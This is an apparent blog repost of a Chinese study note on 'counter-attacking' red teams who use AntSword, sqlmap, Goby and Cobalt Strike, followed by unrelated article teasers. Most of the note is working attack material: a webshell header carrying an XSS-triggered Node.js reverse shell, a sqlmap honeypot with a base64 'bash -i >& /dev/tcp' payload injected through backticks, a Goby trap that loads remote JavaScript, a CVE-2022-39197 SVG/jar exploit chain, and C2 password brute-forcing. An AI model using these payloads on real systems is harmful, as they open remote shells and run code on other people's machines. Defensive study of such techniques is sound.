7、应急响应-战中溯源反制对抗上线蚁剑CSGobySqlmap等安全工具

用途:个人学习笔记,欢迎指正

目录

背景:

一、后门修改反制上线

二、Linux溯源反制-SQL注入工具-SQLMAP

1、测试反弹编码加密:

2、构造注入点页面test.php固定注入参数值,等待攻击者进行注入

3、红队攻击者进行注入测试:

三、溯源反制-漏洞扫描工具-Goby

(1)、构造页面index.php:

(2)、将index.php,1.js放入网站目录

(3)、模拟红队使用Goby扫描分析漏洞触发代码,反而被蓝队拿到权限,CS上线

四、 溯源反制-远程控制工具-CobaltStrike

1、伪造流量批量上线(欺骗防御)

2、利用漏洞(CVE-2022-39197)

3、反制Server,爆破密码(通用)


背景:

黑客一般会用到工具Sqlmap,Goby等对目标网站的现有资产做批量扫描和测试,同时也会利用Web应用漏洞上传后门来上线肉机,用到工具例如:蚁剑,CS等,那么作为蓝队应急人员,就可以针对这些行为采取反制手段。

一、后门修改反制上线

原理:网站目录查到红队后门时,蓝队修改后门添加上线代码,当红队使用蚁剑连接后门时触发代码,反而被上线.

1、后门修改测试:
<?php
header('HTTP/1.1 500 <img src=# onerror=alert(1)>');2、后门修改上线Nodejs代码:
var net = require("net"), sh=
require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(1122, "47.94.236.117",   //蓝队控制端IP和端口
function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});3、编码组合后:
header("HTTP/1.1 500 Not <img src=# onerror='eval(new
Buffer(`mFyIG5ldCA9IHJIcXVpcmUolm5ldClpLCBzaCA9IHJIcXVpcmUolmNoaW
xkX3Byb2NIc3MiKS5leGVjKCJjbWQuZXhllik7CnZhciBjbGllbnQgPSBuZXcgbmVo
LINvY2tldCgpOwpjbGllbnQuY29ubmVjdCgxMDA4NiwgljQ3Ljk0LjIzNi4xMTciLC
BmdW5jdGlvbigpe2NsaWVudC5waXBIKHNoLnNOZGluKTtzaC5zdGRvdXQucGlwZShj
bGllbnQpO3NoLnNOZGVyci5waXBIKGNsaWVudCk7fSk7`,`base64`).toString()
)'>");管道符` `中放的就是2中代码的base64加密值

二、Linux溯源反制-SQL注入工具-SQLMAP

蓝队提前构造注入页面诱使红队进行sqlmap注入拿到红队机器权限

环境:红队攻击机和蓝队主机都是linux系统
原理:
命令管道符:ping "`dir`"    ,   linux系统执行该命令时,管道符中的字符串被当作命令执行


sqlmap -u "http://47.94.236.117/test.html?id=aaa&b="`dir`"
sqlmap -u "http://47.94.236.117/test.html?id=aaa&b=`exec /bin/sh
0</dev/tcp/47.94.236.117/2233 1>&0 2>&0`"

同样以上命令在红队攻击机执行时,参数b管道符中的字符串会被当做命令执行。

1、测试反弹编码加密:

bash -i >&/dev/tcp/47.94.236.117/2233 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzlzMzMgMD4mMQ==
echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzlzMzMgMD4mMQ==
| base64 -d |bash -i

2、构造注入点页面test.php固定注入参数值,等待攻击者进行注入

<html>
<head><meta charset="utf-8"><title>A sqlmap honeypot demo</title>
</head>
<body><input>search the user</input>  <!--创建一个空白表单-><form action="username.html" method="post"
enctype="text/plain"><!--创建一个隐藏的表单--><input type='hidden' name='name'
value="xiaodi&id=45273434&query=shell`echo
YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LZIzMzMgMD4mMQ==
base64 -d|bash -i`&port=6379"/><!--创建一个按钮,提交表单内容-><input type="submit" value='提交'></form>
</body>
</html>

3、红队攻击者使用Sqlmap进行注入测试反被上线

原理:红队执行这个注入命令时,管道符中的加密字符串被解密后执行,而解密执行的命令就是反弹shell的命令,使用Sqlmap工具时不知不觉就把shell权限给出去了

sqlmap -u "http://xx.xx.xx.xx/test.php" --data
"name=xiaodi&id=45273434&query=shell`echo
YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzIzMzMgMD4mMQ== |
base64 -d|bash -i`&port=6379"

 

三、溯源反制-漏洞扫描工具-Goby

环境:蓝队:Linux系统  Web程序
           红队:Windows10  Goby

原理:蓝队在红队攻击目标上写一个特殊文件,红队用goby扫描分析时会触发反制被蓝队拿到机器权限。

1、构造页面index.php:

<?php
header("X-Powered-By:PHP/<img src=1 onerror=import(unescape('http%3A//47.94.236.117/1.js'))>");
?>
<head>
<title>TEST</title>
</head>
<body>
testtest
</body>
</html>

构造1.js代码:  cs上线只需要把calc.exe改成powershell代码

(function(){
require('child_process').exec('calc.exe');
})();

2、将index.php,1.js放入网站目录

3、模拟红队使用Goby扫描分析漏洞触发代码,反而被蓝队拿到权限,CS上线

四、 溯源反制-远程控制工具-CobaltStrike

蓝队:Linux Web
红队:Windows10  Goby
对抗Cobaltstrike中的手段:

1、伪造流量批量上线(欺骗防御)

https://mp.weixin.qq.com/s/VCRg6F9Wq-yg-qajDoJuaw

2、利用漏洞(CVE-2022-39197)

Cobalt Strike <=4.7 XSS
·获取真实ip地址
·获取NTLM
·RCE
·SSRF

地址:https://github.com/its-arun/CVE-2022-39197

(1)、蓝队修改EXP里面的执行命令后编译成jar包
修改:EvilJar/src/main/java/Exploit.java  中的执行命令


(2)、蓝队修改svg加载地址并架设Web服务


修改:evil.svg  指向url地址,只要evil.svg被访问就会加载这个jar包,命令就会执行。

<svg xmIns="http://www.w3.org/2000/svg" xmIns:xlink="http://www.w3.org/1999/xlink" version="1.0">
<script type="application/java-archive" xlink:href="http://47.94.236.117:8888/EvilJar-1.0-jar-with-dependencies.jar"/>
<text>CVE-2022-39197</text>
</svg>

架设Web服务: 

python -m http.server 8888

(3)、蓝队利用EXP主动运行红队的后门被上线,攻击者CS客户端进程查看时触发加载蓝队架设的web服务,jar包中的命令就会执行。

python cve-2022-39197.py artifact.exe http://47.94.236.117:8888/evil.svg原理:蓝队利用exp主动运行后门被红队上线,当红队CS客户端查看进程时触发加载这个web服务evil.svg
文件,而这个文件又加载了EvilJar-1.0-jar-with-dependencies.jar,这个jar包中蓝队构造的命
令就被执行,从而达到反制红队的效果。

3、反制Server,爆破密码(通用)

针对没有采用隐匿C2地址的技术导致的反制(后门样本被溯源到C2地址)

https://github.com/ryanohoro/csbruter

python csbruter.py 47.94.236.117 pass.txt 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/662734.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

期权定价模型系列[12]SVI随机波动率模型

SVI模型 SVI 模型由 Gatheral&#xff08;2004&#xff09;提出&#xff0c;模型假定市场不存在日历套利机会和蝶式套利机会&#xff0c; 并在这个条件下构建一个一般化参数模型&#xff0c;具体形式为&#xff1a; SVI模型的原理是基于市场数据进行 SVI 表达式的参数优化&am…

MacBook安装虚拟机VMware Fusion

MacBook安装虚拟机VMware Fusion 官方下载地址: https://customerconnect.vmware.com/cn/downloads/info/slug/desktop_end_user_computing/vmware_fusion/11_0 介绍 之前的版本都要收费,现在出了对个人免费的版本, 棋哥给的破解版的版本是8,升级系统后用不了了. 官方去下载…

Flink实时数仓同步:流水表实战详解

一、背景 在大数据领域&#xff0c;初始阶段业务数据通常被存储于关系型数据库&#xff0c;如MySQL。然而&#xff0c;为满足日常分析和报表等需求&#xff0c;大数据平台采用多种同步方式&#xff0c;以适应这些业务数据的不同存储需求。这些同步存储方式包括离线仓库和实时仓…

【2024美赛】A题(中英文):资源可用性与性别比例Problem A: Resource Availability and Sex Ratios

【2024美赛】A题&#xff08;中英文&#xff09;&#xff1a;资源可用性与性别比例Problem A: Resource Availability and Sex Ratios 写在最前面2024美赛翻译 —— 跳转链接 中文赛题问题A&#xff1a;资源可用性与性别比例需要检查的问题包括&#xff1a; 英文赛题Problem A:…

【HarmonyOS应用开发】Web组件的使用(十三)

文章末尾含&#xff1a;Web组件抽奖案例&#xff08;ArkTS&#xff09;-示例源码下载 Web组件的使用 一、概述 相信大家都遇到过这样的场景&#xff0c;有时候我们点击应用的页面&#xff0c;会跳转到一个类似浏览器加载的页面&#xff0c;加载完成后&#xff0c;才显示这个页…

数据结构 归并排序详解

1.基本思想 归并排序&#xff08;MERGE-SORT&#xff09;是建立在归并操作上的一种有效的排序算法,该算法是采用分治法&#xff08;Divide andConquer&#xff09;的一个非常典型的应用。 将已有序的子序列合并&#xff0c;得到完全有序的序列&#xff0c;即先使每个子序列有序…

05:容器镜像技术揭秘|发布容器服务器|私有镜像仓库

容器镜像技术揭秘&#xff5c;发布容器服务器&#xff5c;私有镜像仓库 创建镜像使用commit方法创建自定义镜像。Dockerfile打包镜像创建apache服务镜像制作 php 镜像 微服务架构创建nginx镜像 发布服务通过映射端口发布服务容器共享卷 docker私有仓库 创建镜像 使用commit方法…

elk之基本crud

写在前面 本文看下工作中用的最多的CRUD。让我们一起来做一个帅帅的CRUD BOY吧&#xff01;&#xff01;&#xff01; 1&#xff1a;基本操作 Create 格式1(指定ID)&#xff1a;PUT 索引名称/_create/文档ID {文档json} 格式2&#xff08;不指定ID&#xff09;:POST 索引名称…

【Algorithms 4】算法(第4版)学习笔记 03 - 1.3 背包、队列和栈

文章目录 前言参考目录学习笔记0&#xff1a;预热1&#xff1a;栈1.1&#xff1a;栈的链表实现1.1.1 代码实现1.2&#xff1a;栈的数组实现1.2.1&#xff1a;定容栈1.2.2&#xff1a;可调整大小数组1.2.3&#xff1a;代码实现1.3&#xff1a;链表与数组的取舍2&#xff1a;队列…

《吐血整理》高级系列教程-吃透Fiddler抓包教程(37)-掌握Fiddler中Fiddler Script用法,你会有多牛逼-下篇

1.简介 Fiddler是一款强大的HTTP抓包工具&#xff0c;它能记录所有客户端和服务器的http和https请求&#xff0c;允许你监视&#xff0c;设置断点&#xff0c;甚至修改输入输出数据. 使用Fiddler无论对开发还是测试来说&#xff0c;都有很大的帮助。Fiddler提供的功能基本上能满…

【LVGL环境搭建】

LVGL环境搭建 win模拟器环境搭建一.二.三.四.五. Ubuntu模拟器环境搭建一. 前置准备二. 下载LVGL Source code&#xff1a;三. 安装sdl2&#xff1a;四. 开启VScode执行五. 安装扩展套件六. 按F5执行七. 执行结果 win模拟器环境搭建 一. 二. 三. 四. 五. Ubuntu模拟器环境…

基于muduo网络库开发服务器程序和CMake构建项目 笔记

跟着施磊老师做C项目&#xff0c;施磊老师_腾讯课堂 (qq.com) 一、基于muduo网络库开发服务器程序 组合TcpServer对象创建EventLoop事件循环对象的指针明确TcpServer构造函数需要什么参数,输出ChatServer的构造函数在当前服务器类的构造函数当中,注册处理连接的回调函数和处理…

介绍msvcp140.dll丢失的解决方法的关键方法,关于msvcp140.dll文件

在使用电脑过程中&#xff0c;我们有时会遇到一些错误提示&#xff0c;比如msvcp140.dll丢失的问题。而这个问题的解决方法对于用户来说就显得尤为重要。本文旨在为大家简要介绍解决msvcp140.dll丢失问题的关键方法。 一.msvcp140.dll丢失的解决方法的详细步骤教程 重新安装相…

Leetcode 热门百题斩(第二天)

介绍 针对leetcode的热门一百题&#xff0c;解决大多数实习生面试的基本算法题。通过我自己的思路和多种方法&#xff0c;供大家参考。 1.两数之和&#xff08;题号&#xff1a;1) 方法一 最先想到的就是两个for去遍历匹配。 class Solution {public int[] twoSum(int[]…

C语言标准库所有字符串操作库函数汇总

以下是C语言标准库中字符串操作相关的API列表&#xff0c;这些函数通常在 <string.h> 头文件中定义&#xff1a; 1. strlen - 计算字符串长度&#xff0c;不包括结尾的空字符\0&#xff1a; size_t strlen(const char *str); 2. strcpy - 复制字符串&#xff1a; c…

Spring Bean 生命周期常见错误

虽然说 Spring 容器上手简单&#xff0c;可以仅仅通过学习一些有限的注解&#xff0c;即可达到快速使用的目的。但在工程实践中&#xff0c;我们依然会从中发现一些常见的错误。尤其当你对 Spring 的生命周期还没有深入了解时&#xff0c;类初始化及销毁过程中潜在的约定就不会…

HAL库配置片内FLASH读写

一、FLASH简介 不同型号的 STM32F40xx/41xx&#xff0c;其 FLASH 容量也有所不同&#xff0c;最小的只有 128K 字节&#xff0c;最大 的则达到了 1024K 字节。我们的探索者开发板选择的是 STM32F407ZGT6 的 FLASH 容量为 1024K 字节。 主存储器&#xff0c;存放代码和数据常数&…

PHP的线程安全与非线程安全模式选哪个

曾经初学PHP的时候也很困惑对线程安全与非线程安全模式这块环境的选择&#xff0c;也未能理解其中意。近来无意中看到一个教程对线程安全&#xff08;饿汉式&#xff09;&#xff0c;非线程安全&#xff08;懒汉式&#xff09;的描述&#xff0c;虽然觉得现在已经能够很明了透彻…

openlayers地图自定义图标打点(二)

1.效果 2.代码 结构,地图初始化同上篇 <template><div class"container">//地图结构<div id"map"></div></div> </template><script> //引入依赖项 import { Map, View } from ol import TileLayer from ol/l…

模板讲解之进阶

在之前的C入门的博客中我们就学习到了模板初阶&#xff0c;今天我们来学习模板的进阶&#xff0c;以便于更好地将模板运用到代码中 非类型模板参数 模板参数分类类型形参与非类型形参。 类型形参即&#xff1a;出现在模板参数列表中&#xff0c;跟在class或者typename之类的…